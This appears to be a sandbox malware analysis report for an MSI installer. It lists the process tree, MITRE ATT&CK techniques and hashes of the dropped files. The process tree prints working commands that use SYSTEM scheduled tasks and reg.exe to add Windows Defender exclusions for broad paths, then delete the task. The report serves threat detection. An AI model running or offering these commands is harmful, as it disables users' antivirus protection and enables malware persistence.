C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3012
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2412
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4652
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DjHbSD" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\DjHbSD" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1716
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4840
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:540
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3064
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1952
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4620
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e58fa89.rbs
- Size 7KB
- SHA256 bb0bcc69c8819e3a1237d17287e1a68318965d033765b34c63f8401acf43b050
- MD5 e635c562296db46b671f5459f99bc03b
- SHA1 cadee8b619efbd690e31a7d868198edb8a448891
- SHA512 4bbb0d1d38488ca521a97d59f202151943e59774339cc68225fd75beadc39eaf35747d96b480f0fee0e28c8804e5ecaeb8bcf7ba6009c2339f20d820b9e5b962
- SSDEEP 96:Fnuu1eSaaUUFB1CsThq/UFB1C6j4/xpThqjHqS56TWt8dRMCKplj8zIjByy:FjeQzjIIVjI36AfKpn
- TLSH T12CF13001B31196D2F9911B75CB831B1637B2D3DAA320735B08DE80685F5738C2EE67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\DjHbSD\Lh5Uk7.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\DjHbSD\UxEnhance64.dll
- Size 3.1MB
- SHA256 55b88bd8513ed96dfda99d27c6981a87fff8a16d38f29b86d4b3c07257f6cf47
- MD5 37bcccb0856e07a8dc67e90c3eb4b82b
- SHA1 dded2c42fab8b08b0ca02da2356d2b1cd5a174f8
- SHA512 3711d26cc7a767d8b02de7dd24f12a4b746675872fe00f6a7d3ef1a61696acd157fd882119d639c61e290d25fb05ba8fcbbe14bbe07fb60aa30528949a96b61f
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+x:P9m29xx3Tiqt06ox6+z2rNNrKox
- TLSH T16AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\DjHbSD\adoresd.dat
- Size 4.7MB
- SHA256 fd5a7a8242d0635f3673455a99b00cd67c47e64ca42734eaa2445ad9602b1b07
- MD5 63489569ea60016cb857588a1bceb037
- SHA1 fa58450f143455c90bcc3d732306b7f739fce3bf
- SHA512 4f6c81ae3162b804442dbf8f61e91c50bbd54a8603b5562aa7b78b0b75dcfefc63b22e5b7a3c8652ac54143c23e9675affe84eb4c1781deb97c128459f685c6c
- SSDEEP 98304:mmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:9u1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1633633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\DjHbSD\msadox.tb
- Size 8KB
- SHA256 92f10e5c56eb1f365159852a1882cb501e6ecd6a2b03efc10a9bc0446f4e7153
- MD5 e89abc85c42caf999956d8524d55064f
- SHA1 7f2ad99d4fbbbfd44b610ae6d580919ce65cea76
- SHA512 54258be286e20146469751a66d458de0e87e641f0c00832d422afe6564fb784a8dfade71d06141b0967e19c25e0a113d61967caf9b23185b9b35aed6c3cd4427
- SSDEEP 192:VqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:VsZqZOXQ3uqvR2Kfzp
- TLSH T12F029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIFBF0.tmp
- Size 8.5MB
- SHA256 e7963f6fd0b294d4a48307f87a1071c52c8ca647f6a2f4bf7cc6b50376bf58e8
- MD5 021420dc54c7ba64825266cede39945c
- SHA1 b77f3a9112a682c2e416f417784c6e69e158655c
- SHA512 04835f4bb832b2175d36815b502d2cfb55d51f5695ad9f94ca14f641bc4aa1f2772747167557408f1b92841cb6023a8c238a1fdd2b443990545b124802577ef3
- SSDEEP 196608:z6WTYIpbo0g4lvOuU/ZpEXmPNkCM4X+I4Hmq+r0ARtMhndJE/JDx:+wp/g4lvOuU/ZpEXmPmCMTGVbMhndk5x
- TLSH T1ED9633C67CC52274D0E7C7B0A522B62D38253BD5BF760C8EBFA86A11AC717162937346
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e58fa88.msi
- Size 8.6MB
- SHA256 b42b1befacffe8b4f8cd79426a83109f90fdd2c846b361337183adbed5f66001
- MD5 418c684123a872969dce6fc8732d7388
- SHA1 c362f44d832cac0f303f0b3931d913c42932fb36
- SHA512 ce7334c6ac7dac0b1d9466a266763eeb15291fc5d1b587b77b1c6f33c6529cbf2fac58cf1752d288cbdb7c021158f1372355e8daf951462c4b5115ef4dc9bf38
- SSDEEP 196608:W6WTYIpbo0g4lvOuUdZpEXmPNkCM4X+I4Hmq+r0ARtMhnYJE/JDW:fwp/g4lvOuUdZpEXmPmCMTGVbMhnYk5W
- TLSH T1829633C67CC52374D097C7B09823A62D39253FD4BF664C8ABFA87601AC717262977386
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 31994140c6924308c02d5e58633ac8fedf7087f5b847cbaba2c199931d1cb28b
- MD5 df7a3eab244c5e55d8b13d647c7352f3
- SHA1 cea9f3e66b3c93a4ccb27500e5cad3d80244e247
- SHA512 da01223519cd7139f29e45abfc3ce43f282cc5aec07dbf79aa4f7781d9240badee48d5b108028526a2e2e4d18f01a3ec8ba946ed8584b62c2212ea1ddeb5cf5c
- SSDEEP 24576:ju8m+1zZdoO/vvTLbWhuEGalg4kzZ1hSdnGdT+AVpUqwu2YMo/F4ZHaRk:B
- TLSH T13447D32437F92200E7F79F3DACF06A23493A7D5B9C159E8D45411B4E0921BB1E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{69230766-fe0f-4137-a5ba-e4ce3f6be050}_OnDiskSnapshotProp
- Size 6KB
- SHA256 88dec448c6bfe420ebf0d08dede9749491665524d1ff5f748334e4c3f5509f36
- MD5 68af9d2b6c87daab6b6f0b648fe1270d
- SHA1 8267499a7853670736fe4a927632f2aeae520bf1
- SHA512 faa0f8bdc06fd758ad4ae541588c5fdd20b0b338f9eb5ae094775a6f6369e4d96318f533ff8527de59de8b2d4a9711772b71e0e61b1276831c9d0b32b9a15b82
- SSDEEP 96:F59j6VOSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:3llob++ZVm
- TLSH T126D19A185AE54311E2B3AB722CF14557A477B811EF33CB8E0198638E6631A10F976F6F
- MD5 SHA1 SHA512 SSDEEP TLSH